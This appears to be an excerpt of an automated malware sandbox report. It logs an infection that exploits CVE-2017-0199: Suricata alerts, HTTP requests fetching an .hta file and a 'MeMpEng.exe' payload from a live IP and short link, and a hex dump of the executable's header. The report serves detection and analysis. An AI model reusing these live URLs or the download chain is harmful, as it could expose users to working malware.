Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49165

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49164 -> 192.3.243.166:80
Source: Network traffic Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 192.3.243.166:80 -> 192.168.2.22:49164
Source: Network traffic Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49162 -> 192.3.243.166:80
Source: Network traffic Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 192.3.243.166:80 -> 192.168.2.22:49162
Source: Network traffic Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49169 -> 192.3.243.166:80
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 28 Aug 2024 05:01:26 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Tue, 27 Aug 2024 22:30:19 GMTETag: "923d3-620b1c9562c2e"Accept-Ranges: bytesContent-Length: 598995Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/lnkData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a8 21 98 40 ec 40 f6 13 ec 40 f6 13 ec 40 f6 13 2f 4f a9 13 ee 40 f6 13 ec 40 f7 13 4f 40 f6 13 2f 4f ab 13 e3 40 f6 13 b8 63 c6 13 e0 40 f6 13 2b 46 f0 13 ed 40 f6 13 52 69 63 68 ec 40 f6 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ea 43 08 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 68 00 00 00 0a 3a 00 00 08 00 00 2f 35 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 d0 3d 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 84 00 00 a0 00 00 00 00 70 3d 00 d8 5b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d1 66 00 00 00 10 00 00 00 68 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 58 13 00 00 00 80 00 00 00 14 00 00 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 78 e3 39 00 00 a0 00 00 00 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 e0 02 00 00 90 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 d8 5b 00 00 00 70 3d 00 00 5c 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 88.99.66.38 88.99.66.38
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /6XcI3x HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: zhort.deConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /6XcI3x HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: zhort.deConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /6XcI3x HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: zhort.deConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /6XcI3x HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: zhort.deConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/vcc/ideanetowroking.hta HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.243.166Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/vcc/ideanetowroking.hta HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 192.3.243.166If-Range: "1cadc-620a14e9cef29"
Source: global traffic HTTP traffic detected: GET /340/MeMpEng.exe HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.243.166Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/vcc/ideanetowroking.hta HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Tue, 27 Aug 2024 02:50:40 GMTConnection: Keep-AliveHost: 192.3.243.166If-None-Match: "1cadc-620a14e9cef29"
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
